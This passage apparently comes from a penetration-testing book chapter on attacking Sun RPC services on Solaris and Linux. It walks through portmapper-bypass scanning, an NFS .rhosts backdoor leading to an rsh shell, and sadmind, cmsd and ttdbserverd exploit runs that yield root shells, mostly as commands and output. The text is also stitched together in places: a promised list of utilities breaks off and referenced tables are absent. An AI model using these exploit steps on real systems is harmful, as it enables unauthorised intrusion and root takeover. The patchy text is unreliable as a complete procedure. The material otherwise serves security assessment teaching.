In networks protected by firewalls and other mechanisms, access to the RPC portmapper service running on port 111 is often filtered. Therefore, determined attackers can scan high port ranges (UDP and TCP ports 32771 through 34000 on Solaris hosts) to identify RPC services that are open to direct attack.

You can run Nmap with the -sR option to identify RPC services listening on high ports if the portmapper is inaccessible. Example 13-2 shows Nmap in use against a Solaris 9 host behind a firewall filtering the portmapper and services below port 1024.

$ nmap -sR 10.0.0.9

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 20:39 UTC
Interesting ports on 10.0.0.9:
PORT      STATE SERVICE                        VERSION
4045/tcp  open  nlockmgr (nlockmgr V1-4)       1-4 (rpc #100021)
6000/tcp  open  X11
6112/tcp  open  dtspc
7100/tcp  open  font-service
32771/tcp open  ttdbserverd (ttdbserverd V1)   1 (rpc #100083)
32772/tcp open  kcms_server (kcms_server V1)   1 (rpc #100221)
32773/tcp open  metad (metad V1)               1 (rpc #100229)
32774/tcp open  metamhd (metamhd V1)           1 (rpc #100230)
32775/tcp open  rpc.metamedd (rpc.metamedd V1) 1 (rpc #100242)
32776/tcp open  rusersd (rusersd V2-3)         2-3 (rpc #100002)
32777/tcp open  status (status V1)             1 (rpc #100024)
32778/tcp open  sometimes-rpc19
32779/tcp open  sometimes-rpc21
32780/tcp open  dmispd (dmispd V1)             1 (rpc #300598)

If network access to the RPC portmapper service is filtered and you try to use an RPC client, such as showmount, it will fail, as shown here:

$ showmount -e 10.0.0.9
mount clntudp_create: RPC: Port mapper failure RPC: Unable to receive

The portmapper is required to orchestrate and manage the connection between the RPC client and service endpoint. To connect to remote RPC endpoints without an available portmapper using standard RPC clients, we must configure a local RPC portmapper and proxy the RPC endpoint connections through to the remote (target) server.

This technique is described by David Routin in his paper at http://www.milw0rm.com/papers/154, and it requires that the following utilities be installed and available on the local RPC attack proxy server:

Three serious remotely exploitable bugs have been identified in the mountd and nfsd service binaries that are bundled with older Linux distributions (primarily Red Hat and Debian). The MITRE CVE references for these bugs are CVE-2003-0252, CVE-1999-0832, and CVE-1999-0002. Many DoS issues exist in recent NFS implementations, which you can investigate by checking MITRE CVE (http://cve.mitre.org).

$ showmount -e 10.0.0.6
Export list for 10.0.0.6:
/home       (everyone)
/usr/local  onyx.trustmatta.com
/disk0      10.0.0.10,10.0.0.11
$ mount 10.0.0.6:/home /mnt
$ cd /mnt
$ ls -la
total 44
drwxr-x---  17 root      root    512 Jun 26 09:59 .
drwxr-xr-x   9 root      root    512 Oct 12 03:25 ..
drwx------   4 chris     users   512 Sep 20  2002 chris
drwxr-x---   4 david     users   512 Mar 12  2003 david
drwx------   3 chuck     users   512 Nov 20  2002 chuck
drwx--x--x   8 jarvis    users  1024 Oct 31 13:15 jarvis
$ cd jarvis
$ echo + + > .rhosts
$ cd /
$ umount /mnt
$ rsh -l jarvis 10.0.0.6 csh -i
Warning: no access to tty; thus no job control in this shell...
dockmaster%

In recent years, four serious remotely exploitable bugs have been identified in the NFS status service (known as rpc.statd on most Unix-based platforms, and not to be confused with rpc.rstatd). These bugs are listed in Table 13-2, and exploit scripts are available from http://examples.oreilly.com/networksa/tools/.

The Sun Solstice AdminSuite Daemon (sadmind) is enabled by default on Solaris 2.5.1 and later (up to Solaris 9 at the time of writing). sadmind has been found to be remotely vulnerable to two serious issues over recent years; they are known within MITRE CVE as CVE-1999-0977 and CVE-2003-0722.

$ perl rootdown.pl -h 10.0.0.9 -i

sadmind> echo + + > /usr/bin/.rhosts
Success: your command has been executed successfully.

sadmind> exit

Exiting interactive mode...
$ rsh -l bin 10.0.0.9 csh -i
Warning: no access to tty; thus no job control in this shell...
onyx% uname -a
SunOS onyx 5.9 Generic_112234-08 i86pc i386 i86pc

In recent years, four serious remotely exploitable bugs have been identified in the CDE Calendar Manager Service Daemon (CMSD), known as rpc.cmsd on most Unix-based platforms. These bugs are listed in Table 13-3, and exploit scripts are available from http://examples.oreilly.com/networksa/tools/.

Example 13-5 shows the usage of the compiled cmsd exploit (found in cmsd.tgz).

$ ./cmsd
usage: cmsd [-s] [-h hostname] [-c command] [-u port] [-t port]
       version host

   -s: just start up rpc.cmsd (useful with a firewalled portmapper)
   -h: (for 2.6) specifies the hostname of the target
   -c: specifies an alternate command
   -u: specifies a port for the udp portion of the attack
   -t: specifies a port for the tcp portion of the attack

Available versions:
   1: Solaris 2.5.1 /usr/dt/bin/rpc.cmsd      338844 [2-5]
   2: Solaris 2.5.1 /usr/openwin/bin/rpc.cmsd 200284 [2-4]
   3: Solaris 2.5   /usr/openwin/bin/rpc.cmsd 271892 [2-4]
   4: Solaris 2.6   /usr/dt/bin/rpc.cmsd      347712 [2-5]
   5: Solaris 7     /usr/dt/bin/rpc.cmsd
   6: Solaris 7     /usr/dt/bin/rpc.cmsd (2)
   7: Solaris 7 (x86) .../dt/bin/rpc.cmsd     329080 [2-5]
   8: Solaris 2.6_x86 .../dt/bin/rpc.cmsd     318008 [2-5]

For the exploit to work, you must build an RPC request that includes the local hostname (also known as the RPC cache name) of the target server. Under Solaris, there are a number of services that give away the hostname, including FTP, as shown here:

$ ftp 10.0.0.6
Connected to 10.0.0.6.
220 dockmaster FTP server (SunOS 5.6) ready.
Name (10.0.0.6:root):

After obtaining both the hostname and version of Solaris running on the target host, you can launch the cmsd exploit. If no command is specified, the tool binds /bin/sh to TCP port 1524, as shown in Example 13-6.

$ ./cmsd -h dockmaster 4 10.0.0.6
rtable_create worked
clnt_call[rtable_insert]: RPC: Unable to receive; errno = Connection
reset by peer
$ telnet 10.0.0.6 1524
Trying 10.0.0.6...
Connected to 10.0.0.6.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)

In recent years, four serious remotely exploitable bugs have been identified in the ToolTalk Database (TTDB) service, known as rpc.ttdbserverd on most Unix-based platforms. These bugs are listed in Table 13-4, and exploit scripts are available from http://examples.oreilly.com/networksa/tools/.

Example 13-7 shows the LSD TTDB exploit in use against a Solaris 2.6 host at 10.0.0.6.

$ ./lsd_sol_ttdb
copyright LAST STAGE OF DELIRIUM jul 1998 poland  //lsd-pl.net/
rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc

usage: ./lsd_solttdb address [-s|-c command] [-p port] [-v 6]

$ ./lsd_sol_ttdb 10.0.0.6 -v 6
copyright LAST STAGE OF DELIRIUM jul 1998 poland  //lsd-pl.net/
rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc

adr=0xeffffaf8 timeout=10 port=32785 connected! sent!
SunOS dockmaster 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-5_10
id
uid=0(root) gid=0(root)